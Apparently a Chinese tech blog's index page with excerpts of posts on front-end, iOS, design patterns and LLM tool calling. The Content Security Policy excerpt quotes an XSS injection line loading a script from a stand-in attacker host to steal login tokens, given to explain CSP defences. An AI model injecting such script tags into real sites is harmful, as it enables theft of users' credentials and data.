离线包的核心思路是：将 H5 的静态资源（HTML、CSS、JS、图片、字体等）预先打包下发到客户端本地，WebView 加载时直接从本地读取资源，跳过网络请求环节，从而大幅缩短页面加载时间。

离线包加载 vs 在线加载

sequenceDiagram
participant App
participant WebView
participant Local as 本地离线包
participant Server as 远程服务器
Note over App, Server: 在线加载流程
App->>WebView: loadURL
WebView->>Server: DNS + TCP + TLS + HTTP请求
Server-->>WebView: HTML
WebView->>Server: 请求 CSS/JS/图片
Server-->>WebView: 资源文件
WebView->>WebView: 渲染页面
Note over App, Server: 离线包加载流程
App->>WebView: loadURL（被拦截）
WebView->>Local: 读取本地 HTML
Local-->>WebView: HTML
WebView->>Local: 读取本地 CSS/JS/图片
Local-->>WebView: 资源文件
WebView->>WebView: 渲染页面

对比项	在线加载	离线包加载
首屏时间	2~5秒（弱网更久）	0.5~1秒
网络依赖	强依赖	仅更新时需要网络
白屏问题	严重	基本消除
资源新鲜度	实时最新	有一定延迟
流量消耗	每次访问都消耗	仅增量更新消耗

整体架构

一个完整的离线包系统包含三大部分：

动态化 DSL 详解

Sat, 02 May 2026 22:32:27 +0800

动态化 DSL（Domain-Specific Language，领域特定语言）是"不改 App 主包、不走应用商店审核，只下发一段描述文件就能改变界面和逻辑"的一类技术。它在 2015~2023 年成为国内大厂客户端的必备基础设施：阿里 DinamicX / Tangram / VirtualView / LuaView、字节 Lynx、腾讯 Mars / 小程序、滴滴 Hummer、美团 MRN / Recce、京东 Taro-Native、拼多多 Lego、支付宝 Nebula / BirdNest、爱奇艺 Doric ……几乎每一家超级 App 都至少造过一套自己的动态化 DSL。

进入 2026 年 AI Coding 时代，动态化 DSL 的定位发生了根本性转变：

过去它服务于"业务迭代速度"——解决包大小限制、审核周期、多端复用问题。
现在它服务于"Agent 生成 UI"——LLM 更擅长生成 JSON / 结构化 DSL 而不是跨平台原生代码，DSL 成为 Generative UI / SDUI（Server-Driven UI）落地移动端的唯一高效载体。

本文从定义出发，讲透动态化 DSL 的历史演进、分类体系、核心渲染管线、关键原理（AST / 表达式引擎 / 布局 / 数据绑定 / 差分），再深入解剖 DinamicX、Tangram、LuaView、Lynx、Hummer、Recce 六大主流方案的工程实现，最后系统分析 AI Coding 时代的优劣势与决策矩阵。

外观模式

Sat, 02 May 2026 22:32:27 +0800

定义

外观模式（Facade Pattern）是一种结构型设计模式，它为子系统中的一组接口提供一个统一的高层接口。外观模式定义了一个高层接口，使得子系统更加容易使用。

外观模式的核心思想是通过引入一个外观类，将复杂子系统的内部复杂性隐藏起来，只暴露一个简单的接口给客户端。

为什么需要外观模式

外观模式要解决的核心问题是：简化复杂子系统的使用，为客户端提供一个更简单的接口。

问题场景：假设我们正在开发一个视频播放功能，需要处理音频、视频、字幕等多个子系统。

直接使用各个子系统：

class VideoPlayerController {
 func playVideo(url: URL) {
 // 1. 初始化音频引擎
 let audioEngine = AudioEngine()
 audioEngine.configure(sampleRate: 44100)
 audioEngine.setOutputDevice(.speaker)

 // 2. 初始化视频解码器
 let videoDecoder = VideoDecoder()
 videoDecoder.setCodec(.h264)
 videoDecoder.configureHardwareAcceleration(true)

 // 3. 初始化渲染器
 let renderer = VideoRenderer()
 renderer.setResolution(1920, 1080)
 renderer.setFrameRate(30)

 // 4. 加载字幕
 let subtitleLoader = SubtitleLoader()
 let subtitles = subtitleLoader.load(from: url)

 // 5. 同步各个组件
 let synchronizer = AVSynchronizer()
 synchronizer.link(audio: audioEngine, video: videoDecoder)

 // 6. 开始播放
 let data = loadVideoData(url)
 let decodedVideo = videoDecoder.decode(data)
 renderer.render(decodedVideo)
 audioEngine.play()

 // 还要处理暂停、seek、音量调节...
 }
}

这种方式有什么问题？

迪米特法则

Sat, 02 May 2026 22:32:27 +0800

什么是迪米特法则？

迪米特法则（Law of Demeter, LoD）也称为最少知识原则（Least Knowledge Principle, LKP），由 Ian Holland 在 1987 年提出。

Each unit should have only limited knowledge about other units: only units “closely” related to the current unit. 每个单元应该只对与其紧密相关的单元有有限的了解。

更通俗的表述是：只和直接朋友交流，不要和陌生人说话。

核心思想

什么是"直接朋友"？

一个对象的"直接朋友"包括：

当前对象本身（this/self）
作为参数传入的对象
当前对象创建的对象
当前对象的成员变量
全局对象（如单例，技术上可访问，但应谨慎依赖）

class Person {
 let wallet: Wallet // 成员变量 - 直接朋友

 func buyItem(shop: Shop, item: Item) { // 参数 - 直接朋友
 let receipt = Receipt() // 自己创建的对象 - 直接朋友

 // 以下都是与直接朋友交流
 let money = wallet.getMoney()
 shop.sell(item: item)
 receipt.record(item: item)
 }
}

什么是"陌生人"？

如果需要通过多层对象去访问另一个对象，那个被间接访问的对象就是"陌生人"。

前端构建工具详解

Thu, 07 Aug 2025 00:00:00 +0800

谈到构建工具，大家首先想到的肯定就是 Webpack 以及现在最🔥的 Vite。 Webpack，功能强大，生态丰富，从面世到今天，一直是很受大家欢迎；Vite 采用 unbundle 构建模式，带来了极致的开发体验，给开发人员以新的选择。

在这两个构建工具之外，还有其他的构建工具，如和 Webpack、Vite 类似的 Rollup、Parcel、Esbuild，自动化构建工具 grunt、gulp，以及更加久远的 YUI Tool。

这些工具的存在，构成了前端构建工具的发展史。

YUI Tool + Ant

YUI tool 是 07 年左右出现的一个构建工具，功能比较简单，用于压缩混淆 css 和 js 代码，需要配合 java 的 Ant 使用。

当时 web 应用开发主要采用 JSP，还不像现在这样前后端分离，通常是由 java 开发人员来编写 js、css 代码，前端代码都是和后端 java 代码放在一起的。因此前端代码的压缩混淆也就基于 java 实现了。

Grunt / Gulp

Grunt / Gulp 都是运行在 node 环境上的自动化工具。

在开发过程中，我们可以将一些常见操作如解析 html、es6 代码转换为 es5、less / sass 代码转换为 css 代码、代码检查、代码压缩、代码混淆配置成一系列任务，然后通过 Grunt / Gulp 自动执行这些任务。

Grunt 和 Gulp 的不同点：

http状态码

Mon, 28 Jul 2025 00:00:00 +0800

一、HTTP 状态码概述

1. 概念

当我们在浏览器输入URL并按下Enter键时，浏览器就会向站点的服务器发送一个HTTP请求，服务器接收并处理请求，然后将相关资源和HTTP标头一起返回。可以在浏览器的Network中查看 HTTP 的请求状态码：

维基百科中对HTTP状态码的解释：

HTTP状态码（HTTP Status Code）是用以表示网页服务器超文本传输协议响应状态的3位数字代码。它由 RFC 2616 规范定义的，并得到 RFC 2518、RFC 2817、RFC 2295、RFC 2774 与 RFC 4918 等规范扩展。所有状态码被分为五类，状态码的第一个数字代表了响应的五种状态之一。所示的消息短语是典型的，但是可以提供任何可读取的替代方案。除非另有说明，状态码是HTTP/1.1标准（RFC 7231）的一部分。

HTTP 状态代码是从 Web 服务器发送的 3 位代码（如 200 OK 或 404 Not Found），用于让我们和搜索引擎知道请求中是否存在任何错误或服务器尝试处理请求时是否存在任何问题。

2. 分类

应用通常就是客户端向服务器发出请求，服务器做出响应。状态码就是让我们知道 HTTP 请求是成功、失败还是其他。HTTP状态码通常分为五类：

类别	定义	描述
1xx	Informational(信息性状态码)	接受的请求正在处理
2xx	Success(成功状态码)	请求正常处理完毕
3xx	Redirection(重定向状态码)	需要进行附加操作来完成请求
4xx	Client Error (客户端错误状态码)	服务器无法处理请求
5xx	Server Error(服务器错误状态码)	服务器处理请求出错

3. 重要性

HTTP 状态代码对于诊断应用问题很重要，例如网络服务器是否无法正常工作且无法提供页面等。快速发现这些问题对于开发人员和搜索引擎提供良好的体验非常重要。那为什么 HTTP 状态代码和错误对搜索引擎优化 (SEO) 很重要呢？

React 生命周期

Tue, 17 Dec 2024 00:00:00 +0800

简介

React从v16.3的版本开始，对生命周期的钩子进行了渐进式的调整，分别废弃和新增了一些生命周期的钩子函数，本文会从以下四点开始讲解：

新旧生命周期函数的对比
分析为什么要废弃旧的钩子函数
详解新的生命周期使用场景
实例代码演示并进行总结

新旧生命周期对比

一个完整的React组件生命周期会依次调用如下钩子：

old lifecycle

挂载

constructor
componentWillMount
render
componentDidMount

更新

componentWillReceiveProps
shouldComponentUpdate
componentWillUpdate
render
componentDidUpdate

卸载

componentWillUnmount

new lifecycle

挂载
- constructor
- getDerivedStateFromProps
- render
- componentDidMount
更新
- getDerivedStateFromProps
- shouldComponentUpdate
- render
- getSnapshotBeforeUpdate
- componentDidUpdate
卸载
- componentWillUnmount

从以上生命周期的对比，我们不难看出，React从v16.3开始废弃 componentWillMount componentWillReceiveProps componentWillUpdate 三个钩子函数

分析废弃原因

Facebook花了两年多的时间搞出了React Fiber, 因为在v15的版本，更新过程是同步的，往往一个主线程长时间被占用，会导致页面性能问题

而 React Fiber的机制: 利用浏览器 requestIdleCallback 将可中断的任务进行分片处理，每一个小片的运行时间很短，这样唯一的线程就不会被独占

需要详细了解可以点下面链接 Morgan大佬 - 知乎

那么React Fiber会对生命周期带来什么影响吗？

因为React Fiber Reconciliation 这个过程有可能暂停然后继续执行，所以挂载和更新之前的生命周期钩子就有可能不执行或者多次执行；

目前React为这几个生命周期钩子提供了别名，分别是：

UNSAFE_componentWillMount
UNSAFE_componentWillReceiveProps
UNSAFE_componentWillUpdate

React17将只提供别名，取个别名的目的就是恶心你，不让你使用。

浏览器的存储机制

Tue, 17 Dec 2024 00:00:00 +0800

浏览器的存储机制涵盖多种技术，目的是满足 Web 应用在不同场景下的数据持久化、缓存和离线访问需求。它们各自具有不同的存储容量、生命周期、安全策略和访问方式，理解这些机制对于构建高效、安全的前端应用至关重要。

一、浏览器存储机制分类

最早期的存储机制，主要用于会话管理和身份认证。

容量限制：单个约 4KB，总数有限制；
生命周期：可设置过期时间或为会话级；
访问方式：由浏览器自动在 HTTP 请求头中携带，也能通过 JS 访问（除非设置 HttpOnly）；
安全性：可设置 HttpOnly、Secure、SameSite 防范安全风险。

2. Web Storage（LocalStorage 和 SessionStorage）

HTML5 新增的简单键值对存储方案。

LocalStorage：永久存储，关闭浏览器数据仍保留，同源可访问；
SessionStorage：页面会话存储，关闭标签页即清空；
容量：一般为 5~10MB；
访问方式：同步 API，容易使用但可能阻塞主线程。

3. IndexedDB

浏览器内置的底层结构化数据库，支持事务和索引，适合复杂和大容量数据存储。

容量：远大于 LocalStorage，通常以设备剩余空间为限；
访问方式：异步 API，支持复杂操作；
用途：离线应用、大数据缓存、文件存储等。

4. Cache Storage

由 Service Worker 管理的请求和响应缓存，用于离线和加速访问。

容量：较大，依赖设备和浏览器策略；
访问方式：异步 Promise API；
用途：缓存静态资源、接口响应，实现离线支持。

5. Service Worker

虽然不是存储机制本身，但作为浏览器后台代理进程，管理 Cache Storage，实现网络请求拦截和缓存策略，是现代离线应用的核心。

生命周期独立于页面，可在后台运行；
控制页面的网络请求，提供离线能力和资源预缓存；
可结合 Cache Storage 和 IndexedDB 进行数据管理。

二、存储机制的生命周期与访问作用域

Cookie：基于域和路径，可设置 HttpOnly、Secure 限制访问；
LocalStorage/SessionStorage：基于同源策略，SessionStorage 进一步限定于标签页会话；
IndexedDB 和 Cache Storage：基于同源，支持版本控制和升级；
Service Worker：独立于页面，能控制同源下的所有相关页面。

三、容量限制与性能影响

Cookie 容量最小，且会随每次请求自动发送，影响网络性能；
LocalStorage/SessionStorage 适合轻量存储，容量适中；
IndexedDB 和 Cache Storage 容量大，适合海量数据和文件缓存；
Service Worker 通过异步调度，避免阻塞主线程。

四、安全与隐私考虑

Cookie 可被服务器访问，设置 HttpOnly 避免脚本窃取；
Web Storage、IndexedDB 只能由同源脚本访问，防止跨站数据泄漏；
Service Worker 需 HTTPS 环境，避免被恶意注入；
用户隐私模式下，存储行为可能受限，数据不保证持久。

五、应用场景及选择建议

需要与服务器频繁交互、会话维持时用 Cookie；
存储简单配置、少量数据用 LocalStorage；
页面会话临时数据用 SessionStorage；
大规模结构化数据和离线存储用 IndexedDB；
静态资源及请求缓存用 Cache Storage，配合 Service Worker 提升离线体验和性能；
Service Worker 负责管理缓存和拦截网络请求，实现 PWA 功能。

常见考点

面试考察点通常围绕存储类型、特点、使用场景、容量限制、安全性和生命周期展开：

内存空间

Wed, 06 Nov 2024 00:00:00 +0800

var a = 20;
var b = 'abc';
var c = true;
var d = { m: 20 }

因为JavaScript具有自动垃圾回收机制，所以对于前端开发来说，内存空间并不是一个经常被提及的概念，很容易被大家忽视。特别是很多不是计算机专业的朋友在进入到前端之后，会对内存空间的认知比较模糊，甚至有些人干脆就是一无所知。

当然也包括我自己。在很长一段时间里认为内存空间的概念在JS的学习中并不是那么重要。可是后我当我回过头来重新整理JS基础时，发现由于对它们的模糊认知，导致了很多东西我都理解得并不明白。比如最基本的引用数据类型和引用传递到底是怎么回事儿？比如浅复制与深复制有什么不同？还有闭包，原型等等。

因此后来我才渐渐明白，想要对JS的理解更加深刻，就必须对内存空间有一个清晰的认知。

在学习内存空间之前，我们需要对三种数据结构有一个直观的认知。他们分别是堆(heap)，栈(stack)与队列(queue)。

一、栈数据结构

与C/C++不同，JavaScript中并没有严格意义上区分栈内存与堆内存。因此我们可以简单粗暴的理解为JavaScript的所有数据都保存在堆内存中。但是在某些场景，我们仍然需要基于堆栈数据结构的思维来实现一些功能，比如JavaScript的执行上下文（关于执行上下文我会在下一篇文章中总结）。执行上下文的执行顺序借用了栈数据结构的存取方式。(也就是后面我们会经常提到的函数调用栈)。因此理解栈数据结构的原理与特点十分重要。

要简单理解栈的存取方式，我们可以通过类比乒乓球盒子来分析。如下图左侧。

这种乒乓球的存放方式与栈中存取数据的方式如出一辙。处于盒子中最顶层的乒乓球5，它一定是最后被放进去，但可以最先被使用。而我们想要使用底层的乒乓球1，就必须将上面的4个乒乓球取出来，让乒乓球1处于盒子顶层。这就是栈空间先进后出，后进先出的特点。图中已经详细的表明了栈空间的存储原理。

二、堆数据结构

堆数据结构是一种树状结构。它的存取数据的方式，则与书架与书非常相似。

书虽然也整齐的存放在书架上，但是我们只要知道书的名字，我们就可以很方便的取出我们想要的书，而不用像从乒乓球盒子里取乒乓一样，非得将上面的所有乒乓球拿出来才能取到中间的某一个乒乓球。好比在JSON格式的数据中，我们存储的key-value是可以无序的，因为顺序的不同并不影响我们的使用，我们只需要关心书的名字。

三、队列

在JavaScript中，理解队列数据结构的目的主要是为了清晰的明白事件循环（Event Loop）的机制到底是怎么回事。在后续的章节中我会详细分析事件循环机制。

队列是一种先进先出（FIFO）的数据结构。正如排队过安检一样，排在队伍前面的人一定是最先过检的人。用以下的图示可以清楚的理解队列的原理。

四、变量对象与基础数据类型

JavaScript的执行上下文生成之后，会创建一个叫做变量对象的特殊对象（具体会在下一篇文章与执行上下文一起总结），JavaScript的基础数据类型往往都会保存在变量对象中。

严格意义上来说，变量对象也是存放于堆内存中，但是由于变量对象的特殊职能，我们在理解时仍然需要将其于堆内存区分开来。

基础数据类型都是一些简单的数据段，JavaScript中有5中基础数据类型，分别是Undefined、Null、Boolean、Number、String。基础数据类型都是按值访问，因为我们可以直接操作保存在变量中的实际的值。

ES6中新加了一种基础数据类型Symbol，可以先不用考虑他

五、引用数据类型与堆内存

与其他语言不同，JS的引用数据类型，比如数组Array，它们值的大小是不固定的。引用数据类型的值是保存在堆内存中的对象。JavaScript不允许直接访问堆内存中的位置，因此我们不能直接操作对象的堆内存空间。在操作对象时，实际上是在操作对象的引用而不是实际的对象。因此，引用类型的值都是按引用访问的。这里的引用，我们可以理解为保存在变量对象中的一个地址，该地址与堆内存的实际值相关联。

为了更好的搞懂变量对象与堆内存，我们可以结合以下例子与图解进行理解。

var a1 = 0; // 变量对象
var a2 = 'this is string'; // 变量对象
var a3 = null; // 变量对象

var b = { m: 20 }; // 变量b存在于变量对象中，{m: 20} 作为对象存在于堆内存中
var c = [1, 2, 3]; // 变量c存在于变量对象中，[1, 2, 3] 作为对象存在于堆内存中

因此当我们要访问堆内存中的引用数据类型时，实际上我们首先是从变量对象中获取了该对象的地址引用（或者地址指针），然后再从堆内存中取得我们需要的数据。

理解了JS的内存空间，我们就可以借助内存空间的特性来验证一下引用类型的一些特点了。

在前端面试中我们常常会遇到这样一个类似的题目

// demo01.js
var a = 20;
var b = a;
b = 30;

// 这时a的值是多少？

// demo02.js
var m = { a: 10, b: 20 }
var n = m;
n.a = 15;

// 这时m.a的值是多少

在变量对象中的数据发生复制行为时，系统会自动为新的变量分配一个新值。var b = a执行之后，a与b虽然值都等于20，但是他们其实已经是相互独立互不影响的值了。具体如图。所以我们修改了b的值以后，a的值并不会发生变化。

HTML 元素分类

Tue, 15 Oct 2024 00:00:00 +0800

根据标签的功能和表现，HTML 标签主要分为以下几类：

1. 块级元素（Block-level Elements）

块级元素通常独占一行，并且可以包含其他块级元素或内联元素，能够扩展至父容器的全部宽度。

特点：
独占一行，默认情况下会在前后产生换行。
宽度默认是父元素的 100%。
可以设置 width、height、margin、padding 等布局属性。
常见的块级元素：
<div>：无特定语义的容器，常用于布局。
<p>：段落标签。
<h1> 到 <h6>：标题标签，按重要性递减。
<ul>、<ol>、<li>：无序、有序列表及其项。
<header>、<footer>、<section>、<article>：HTML5 语义化标签，分别表示页头、页尾、内容区块等。
示例：

<div>
 <h1>标题</h1>
 <p>这是一个段落。</p>
</div>

2. 内联元素（Inline Elements）

内联元素与其他元素排列在同一行，且只占用其内容所需的宽度。它们不会独占一行，不能包含块级元素。

特点：
与相邻的内联元素排列在同一行。
仅占据自身内容的宽度，不会在前后产生换行。
不能设置 width、height（无效），但可以设置 padding 和 margin，只影响水平方向。
常见的内联元素：
<span>：无特定语义的容器，常用于局部样式。
<a>：超链接。
<strong>：表示强调的文本，通常加粗显示。
<em>：表示强调的文本，通常斜体显示。
<img>：图像标签。
<input>：表单输入元素。
示例：

<p>这是一个段落，<a href="#">点击这里</a> 了解更多。</p>

3. 内联块元素（Inline-block Elements）

内联块元素是同时具备内联元素和块级元素特性的元素。它们在布局上是内联的，但表现为块状元素，因此可以设置宽高。

特点：
与其他元素排列在同一行，但可设置宽度和高度。
不会自动换行。
常见的内联块元素：
<img>：虽然图像显示在行内，但可以设置 width 和 height。
<button>：按钮。
<input type="text">：文本输入框。
CSS 设置为 display: inline-block 的元素。
示例：

<span style="display: inline-block; width: 100px; height: 100px; background: red;"></span>

4. 自闭合元素（Self-closing Elements）

自闭合元素是没有闭合标签的元素，因为它们没有任何内容。这类标签通常用于插入内容或进行控制，而不包含其他内容。

优先级

Thu, 10 Oct 2024 00:00:00 +0800

在前端面试中，经常会遇到CSS选择器的问题三连：

说一下CSS的选择器有哪些
优先级是怎样的
权重计算方式

今天就来给大家介绍选择器的优先级和权重计算方式。

优先级是什么？有什么用？

先提出一个问题：如果一个元素通过多种方式设置了字体大小，那么浏览器在最后渲染时会使用哪个属性值呢？

其实，浏览器会通过优先级来判断哪些属性值与一个元素最为相关，从而在该元素上应用这些属性值。优先级是基于不同种类选择器组成的匹配规则。

换种说法，优先级就是分配给指定的 CSS 声明的一个权重，它由 匹配的选择器 中的 每一种选择器类型的数值 决定。

总结一下：

权重决定了你css规则怎样被浏览器解析直到生效，css权重关系到你的css规则是怎样显示的。
当很多的样式被应用到某一个元素上时，权重决定哪种样式生效。
每个选择器都有自己的权重。你的每条css规则，都包含一个权重级别。这个级别是由不同的选择器加权计算的，通过权重，不同的样式最终会作用到你的网页中。
如果两个选择器同时作用到一个元素上，权重高者生效。

权重的计算规则

接着介绍权重的计算规则：

第一优先级：!important会覆盖页面内任何位置的元素样式
内联样式，如style="color: green"，权值为1000
ID选择器，如#app，权值为0100
类、伪类、属性选择器，如.foo, :first-child, div[class="foo"]，权值为0010
标签、伪元素选择器，如div::first-line，权值为0001
通配符、子类选择器、兄弟选择器，如*, >, +，权值为0000
继承的样式没有权值

权值计算公式：

权值 = 第一等级选择器 x 个数，第二等级选择器 x 个数，第三等级选择器 x 个数，第四等级选择器 x 个数

比如：

选择器	千位	百位	十位	个位	优先级
h1	0	0	0	1	0001
h1 + p::first-letter	0	0	0	3	0003
li > a[href*=“en-US”] > .inline-warning	0	0	2	2	0022
#identifier	0	1	0	0	0100
内联样式	1	0	0	0	1000

权重的比较规则

当两个权值进行比较的时候，是从高到低逐级将等级位上的权重值（如权值 1,0,0,0 对应–> 第一等级权重值，第二等级权重值，第三等级权重值，第四等级权重值）来进行比较的，而不是简单的 1000个数 + 100个数 + 10个数 + 1个数的总和来进行比较的，换句话说，低等级的选择器，个数再多也不会越等级超过高等级的选择器的优先级的。

计算属性

Fri, 04 Oct 2024 00:00:00 +0800

前言

Vue 的计算属性（computed）是 Vue.js 中非常重要的一个概念。它允许你在 Vue 组件中定义一些计算逻辑，这些逻辑会依赖于 Vue 的响应式数据，并且具有缓存机制，只有在依赖数据发生改变时才会重新计算，从而提高了性能。

计算属性的主要作用包括：

数据转换
数据过滤
响应式依赖
缓存机制
简化模板

在本篇文章中，我们将详细探寻如何利用计算属性优化 Vue 组件的数据处理和渲染逻辑，深入了解 Vue 计算属性的精髓。

一. 认识计算属性

1. 什么是计算属性

Vue.js 中的计算属性（computed properties）是 Vue 实例中非常重要的一个特性。它们用于对 Vue 实例的数据进行动态计算，且具有缓存机制，只有在相关依赖发生改变时才会重新计算。这种特性使得计算属性非常适合用于处理模板中的逻辑。

2. 计算属性的定义

计算属性是在 Vue 实例的computed选项中定义的，可以是一个函数或具有get和set方法的对象。函数形式的计算属性会在调用时被执行，而对象形式的计算属性则可以提供自定义的get和set方法。

computed: {
 // 函数形式的计算属性
 reversedMessage: function () {
 return this.message.split('').reverse().join('');
 },
 // 对象形式的计算属性
 fullName: {
 get: function () {
 return this.firstName + ' ' + this.lastName;
 },
 set: function (newValue) {
 var names = newValue.split(' ');
 this.firstName = names[0];
 this.lastName = names[names.length - 1];
 }
 }
}

3. 计算属性的依赖

计算属性可以依赖于 Vue 实例的响应式数据。当依赖数据发生改变时，相关的计算属性会重新计算。

Content Security Policy

Wed, 02 Oct 2024 00:00:00 +0800

跨域脚本攻击 XSS(Cross Site Scripting) 是最常见、危害最大的网页安全漏洞。

比如网站有个留言板功能，但后台未对用户输入进行过滤，攻击者可以在留言编辑框中输入

<script src="http://www.hacker.org/xss.payload.js"></script>

xss.payload.js可以获取老浏览用户的信息，如登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如：去除html标签，实体化，关键字过滤等等，这样一来，最终的结果就是后台的大多数代码都是在做字符串验证，非常的让人不舒服。

为了防止它们，要采取很多编程措施，非常麻烦。很多人提出，能不能根本上解决问题，浏览器自动禁止外部注入恶意脚本？

所以W3 org引入了CSP，它从另外一层面给浏览器提供了保护。这就是"网页安全政策"（Content Security Policy，缩写 CSP）的来历。本文详细介绍如何使用 CSP 防止 XSS 攻击。

一、简介

CSP 的实质就是白名单制度，开发者明确告诉客户端，哪些外部资源可以加载和执行，等同于提供白名单。严格规定页面中哪些资源允许有哪些资源，不在指定范围内的统统拒绝。它的实现和执行全部由浏览器完成，开发者只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞，也没法注入脚本，除非还控制了一台列入了白名单的可信主机。

两种方法可以启用 CSP。

一种是通过 HTTP 头信息的Content-Security-Policy的字段。

Content-Security-Policy: script-src 'self'; object-src 'none';
style-src cdn.example.org third-party.org; child-src https:

另一种是通过网页的<meta>标签。

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

上面代码中，CSP 做了如下配置。

脚本：只信任当前域名
<object>标签：不信任任何URL，即不加载任何资源
样式表：只信任cdn.example.org和third-party.org
框架（frame）：必须使用HTTPS协议加载
其他资源：没有限制

启用后，不符合 CSP 的外部资源就会被阻止加载。

Chrome 的报错信息。

二、限制选项

CSP 提供了很多限制选项，涉及安全的各个方面。

2.1 资源加载限制

以下选项限制各类资源的加载。

script-src：外部脚本
style-src：样式表
img-src：图像
media-src：媒体文件（音频和视频）
font-src：字体文件
object-src：插件（比如 Flash）
child-src：框架
frame-ancestors：嵌入的外部资源（比如<frame>、<iframe>、<embed>和<applet>）
connect-src：HTTP 连接（通过 XHR、WebSockets、EventSource等）
worker-src：worker脚本
manifest-src：manifest 文件

2.2 `default-src`

default-src用来设置上面各个选项的默认值。

箭头函数

Wed, 02 Oct 2024 00:00:00 +0800

一、箭头函数的特点

1. 相比普通函数，箭头函数有更加简洁的语法。

普通函数

function add(num) {
 return num + 10
}

箭头函数

const add = num => num + 10;

2. 箭头函数不绑定this，会捕获其所在上下文的this，作为自己的this。

这句话需要注意的是，箭头函数的外层如果有普通函数，那么箭头函数的this就是这个外层的普通函数的this，箭头函数的外层如果没有普通函数，那么箭头函数的this就是全局变量。

下面这个例子是箭头函数的外层有普通函数。

let obj = {
 fn:function(){
 console.log('我是普通函数',this === obj) // true
 return ()=>{
 console.log('我是箭头函数',this === obj) // true
 }
 }
}
console.log(obj.fn()())

下面这个例子是箭头函数的外层没有普通函数。

let obj = {
 fn:()=>{
 console.log(this === window);
 }
}
console.log(obj.fn())
// true

3. 箭头函数是匿名函数，不能作为构造函数，不可以使用new命令，否则后抛出错误。

Swift 面试：编译流程、Runtime 与元数据源码解析

Tue, 16 Jun 2026 09:06:27 +0800

Swift 面试：编译流程、Runtime 与元数据源码解析

Swift 面试里问编译流程和 Runtime，通常不是想听一串名词，而是想看你能不能把 源码 -> AST -> SIL -> 优化 -> IRGen -> LLVM -> Runtime Metadata 串起来。

这篇文章按面试题展开，把答案落到 Swift 编译器源码里的 SILGen、SILOptimizer、IRGen、Metadata、Value Witness Table、Protocol Witness Table 和 HeapObject。

面试高频问题

Swift 源码从 .swift 到机器码经历哪些阶段？
AST、SIL、LLVM IR 分别负责什么？
为什么 Swift 需要 SIL，而不是直接生成 LLVM IR？
SILGen 做什么？SILOptimizer 做什么？
IRGen 为什么要生成 Metadata 和 Witness Table？
Swift Runtime Metadata 保存了哪些信息？
Value Witness Table 是什么？
Protocol Witness Table 和 class vtable 有什么区别？
class、struct、enum 在 Runtime 表示上有什么差异？
HeapObject 和 Metadata 有什么关系？

30 秒回答版

Swift 编译流程可以简化为：

Function Calling与MCP

Sat, 02 May 2026 22:32:27 +0800

LLM很聪明，但它被困在一个"文本沙箱"里——它只能接收文本、输出文本。要让LLM调用API、查数据库、操作文件，就需要一个"桥梁"协议来连接LLM与外部世界。

Function Calling和**MCP（Model Context Protocol）**就是这样的桥梁。它们的目标相同——让LLM能调用外部工具——但设计理念和使用场景有很大不同。本文将详细对比这两种方案。

一、Function Calling：LLM原生的工具调用

1.1 基本原理

Function Calling是LLM提供商（OpenAI、Anthropic、Google等）在模型层面支持的工具调用能力。核心思路是：

你告诉LLM有哪些函数可用（函数名、参数定义、功能描述）
LLM根据用户的问题判断是否需要调用函数
如果需要，LLM输出一个结构化的函数调用请求（而不是自然语言）
你的代码执行这个函数，把结果返回给LLM
LLM基于结果生成最终回答

sequenceDiagram
participant U as 用户
participant App as 应用程序
participant LLM as LLM API
participant Tool as 外部工具/API
U->>App: "北京今天天气怎么样？"
App->>LLM: 用户消息 + 可用函数定义
LLM->>App: 函数调用请求
get_weather(city="北京")
App->>Tool: 调用天气API
Tool->>App: {"temp": 22, "weather": "晴"}
App->>LLM: 函数执行结果
LLM->>App: "北京今天天气晴朗，气温22°C"
App->>U: 最终回答

关键点：LLM自身并不执行函数，它只是生成"我想调用这个函数"的结构化指令，真正的执行由应用程序完成。

1.2 函数定义

以OpenAI的格式为例，开发者需要用JSON Schema描述每个可用的函数：

{
 "tools": [
 {
 "type": "function",
 "function": {
 "name": "get_weather",
 "description": "获取指定城市的当前天气信息",
 "parameters": {
 "type": "object",
 "properties": {
 "city": {
 "type": "string",
 "description": "城市名称，如'北京'、'上海'"
 },
 "unit": {
 "type": "string",
 "enum": ["celsius", "fahrenheit"],
 "description": "温度单位"
 }
 },
 "required": ["city"]
 }
 }
 }
 ]
}

LLM通过阅读这个定义来理解：这个函数叫什么、干什么用、需要什么参数。description字段的质量直接影响LLM能否正确选择和调用函数。

iOS国际化

Sat, 02 May 2026 22:32:27 +0800

前言

很多团队对"国际化"的理解停留在"把中文文案翻译成英文"，等真正把 App 推向多区域时就会发现远远不够：阿拉伯语用户看到的界面左右颠倒了，用户在纽约和东京看到的"今天"不是同一天，欧洲的小数点变成了逗号，日本用户抱怨价格里的¥符号指向人民币而不是日元，印度用户发现自己的 ₹1,23,456.78 被错误地按千分位显示成 ₹123,456.78，复数规则在俄语里比英语复杂得多，而这些问题单靠"翻译"都解决不了。

国际化（Internationalization，简称 i18n，取首末字母与中间 18 个字符）是架构层面的能力建设，让 App 能够适配不同语言、地区、文字方向、日历、时区、货币、单位制与文化习俗；而本地化（Localization，l10n）是针对某个具体地区的"适配落地"。两者的关系是：“国际化一次，本地化 N 次”。

本文从 NSLocale/Locale 的基础模型开始，把 iOS 国际化的完整工程面梳理清楚——文案本地化、复数/性别规则、RTL 布局、多时区、多币种、单位与数字格式、图片资源、字体、App 内切换语言、测试方法，最后给出研发规范与排查清单。

一、基础概念：Locale、Language 与 Region

1.1 Locale 不等于 Language

大多数工程师第一次接触国际化时会把"语言"和"地区"混为一谈，这在 iOS 下会直接导致格式错误。

Language（语言）：zh、en、ar、ja…决定 UI 文字内容。
Region（地区）：CN、US、SA、JP…决定格式（日期、数字、货币、时间制 12/24h、起始星期、度量单位）。
Locale（语言+地区）：两者合成一个完整的标识，如 zh_CN、en_US、ar_SA、en_IN。

一个美国人移居日本后，完全可能把 iPhone 语言设为英文，但地区设为日本。此时：

场景	期望
UI 文案	英文
日期格式	`1月23日(月)` 风格？No，应显示 `January 23 (Mon)`，因为语言决定月/星期的名字
数字分隔符	`,` 作千分位（与日本/美国一致）
货币符号	`¥`（JPY）
温度单位	`℃`（日本）
首日周	周日（日本区域）

对应的 Locale 是 en_JP——看似奇怪，但在现实中非常普遍。代码里要区分"用哪个语言去查字符串"和"用哪个 Locale 去格式化数据"：

let preferredLanguage = Locale.preferredLanguages.first ?? "en"
let currentLocale = Locale.current

